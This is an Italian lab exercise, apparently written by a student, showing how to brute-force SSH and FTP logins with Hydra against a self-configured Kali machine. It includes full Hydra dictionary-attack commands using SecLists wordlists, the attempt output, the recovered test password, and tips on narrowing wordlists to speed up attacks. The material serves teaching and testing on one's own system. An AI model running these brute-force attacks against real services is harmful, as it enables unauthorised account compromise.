

Uso di Hydra per crackare l'autenticazione dei servizi di rete

In questo esercizio si procederà per fasi:

- Prima fase: configurazione della macchina per l' esercitazione
- Seconda fase: cracking delle password dei servizi dei protocolli SSH e FTP

PRIMA FASE

Per la configurazione si procederà, in primis, alla creazione di un nuovo utente chiamato *test_user* attraverso il comando *adduser*

```
(root@kali)-[/home/kali]
# adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

Successivamente si attiverà il servizio SSH, che essendo un protocollo con una sicurezza maggiore, richiederà l'uso di autenticazione per l'utilizzo, che si andrà poi a crackare. Il comando da utilizzare è il seguente: *service ssh start*

```
(kali@kali)-[~]
$ service ssh start

(kali@kali)-[~]
$ ssh test_user@192.168.1.181
test_user@192.168.1.181's password:
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Nov  8 10:01:35 2024 from 192.168.1.181
(test_user@kali)-[~]
$
```

Come si può vedere nell'immagine soprastante, è stato eseguito della connessione SSH con l'utente creato sul sistema, eseguendo il comando seguente: *ssh test_user@192.168.1.181*. Con questo ultimo passaggio si è conclusa la prima fase, cioè quella di configurazione della macchina.

SECONDA FASE

In questa fase, come detto, si procederà al cracking della password attraverso il software *Hydra*. Ma prima di avviare il programma, bisognerà installare una collezione di username e password per simulare l'attacco del dizionario con Hydra. Perciò si procederà ad eseguire il comando *sudo apt-get install seclists*.

Una volta scaricata la collezione, si potrà avviare Hydra ed inserire il seguente comando per far partire l'attacco, come si può notare nell'immagine sottostante:

```
(kali@kali) ~$ hydra -V -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.1.181 -t4 ssh
hydra v9.5 (C) 2025 by van hauser/thc & david maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-08 03:52:30
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545500000 login tries (l:8295455/p:1000000), ~2073863750000 tries per task
[DATA] attacking ssh://192.168.1.181:22/
[ATTEMPT] target 192.168.1.181 - login "info" - pass "123456" - 1 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "password" - 2 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "12345678" - 3 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "qwerty" - 4 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "123456789" - 5 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "12345" - 6 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "1234" - 7 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "111111" - 8 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "1234567" - 9 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "dragon" - 10 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "123123" - 11 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "baseball" - 12 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "abc123" - 13 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "football" - 14 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "monkey" - 15 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "letmein" - 16 of 829545500000 [child 2] (0/0)
```

In questo modo, Hydra sta provando ad indovinare le credenziali dell' utente `test_user`, tramite una combinazione di username e password presi dalla collezione `seclists`, scaricata in precedenza. Come si può vedere, nella stringa del comando ci sono alcuni elementi che stanno a significare:

- V serve a controllare in tempo reale le varie combinazioni.
- L -P servono ad indicare che si useranno delle liste per l' attacco a dizionario. Se fossero state in minuscolo, vuol dire che si sarebbero utilizzare username e password specifiche.
- T4 sta ad indicare la velocità di esecuzioni delle combinazioni da parte di Hydra. Il massimo che si può raggiungere è -T64.

Questo stesso attacco, con le relative modalità è possibile eseguirlo con il protocollo FTP. Anch' esso, infatti, richiede autenticazione. Perciò si andrà ad avviare il protocollo, e successivamente, si utilizzerà lo stesso comando di Hydra usato per SSH.

```
(kali@kali)-[~]
$ sudo su
[sudo] password for kali:
(root@kali)-[/home/kali]
# service vsftpd start

(root@kali)-[/home/kali]
# hydra -V -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.
txt 192.168.1.181 -t8 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is
s non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-08 04:47:53
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.
restore
[DATA] max 8 tasks per 1 server, overall 8 tasks, 829545500000 login tries (l:829545/p:1000000), ~1036931875000 tries per task
[DATA] attacking ftp://192.168.1.181:21/
[ATTEMPT] target 192.168.1.181 - login "info" - pass "123456" - 1 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "password" - 2 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "12345678" - 3 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "qwerty" - 4 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "123456789" - 5 of 829545500000 [child 4] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "12345" - 6 of 829545500000 [child 5] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "1234" - 7 of 829545500000 [child 6] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "111111" - 8 of 829545500000 [child 7] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "1234567" - 9 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "dragon" - 10 of 829545500000 [child 6] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "123123" - 11 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "baseball" - 12 of 829545500000 [child 4] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "abc123" - 13 of 829545500000 [child 5] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "football" - 14 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "monkey" - 15 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "letmein" - 16 of 829545500000 [child 7] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "696969" - 17 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "shadow" - 18 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "master" - 19 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "666666" - 20 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "qwertyuiop" - 21 of 829545500000 [child 4] (0/0)
[ATTEMPT] target 192.168.1.181 - login "info" - pass "123321" - 22 of 829545500000 [child 5] (0/0)
```

Dato che le liste scaricate da `seclists` sono composte da tantissime combinazioni, la macchina impiegherà moltissimo tempo per fare le sue prove. Un attaccante, per ridurre il tempo di esecuzione e, quindi le combinazioni e le variabili presenti in questo processo, può cercare informazioni su come deve essere composta la password secondo delle linee guida dettate dal sito, dal server o dal servizio a cui si vuole accedere. Alcuni esempi possono essere l'esclusione di caratteri speciali, lunghezza massima, ecc.

Così facendo si può impostare Hydra in modo più efficiente attraverso l'uso di switch o di comandi per andare ad affinare la ricerca per renderla più veloce. Altro metodo è quello di fornire collezioni con già queste peculiarità, in modo da snellire la ricerca. Quest'ultima è stata la scelta attuata per questo esercizio per trovare le credenziali di accesso (evidenziate in verde) in breve tempo.

```
(root@kali)-[/home/kali/Desktop]
* hydra -L /home/kali/Desktop/username.txt -P /home/kali/Desktop/password.txt 192.168.1.181 -t64 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organi
zations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-08 09:38:32
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: us
e -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 88 login tries (l:8/p:11), ~2 tries per task
[DATA] attacking ssh://192.168.1.181:22/
[22][ssh] host: 192.168.1.181 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-08 09:38:39
```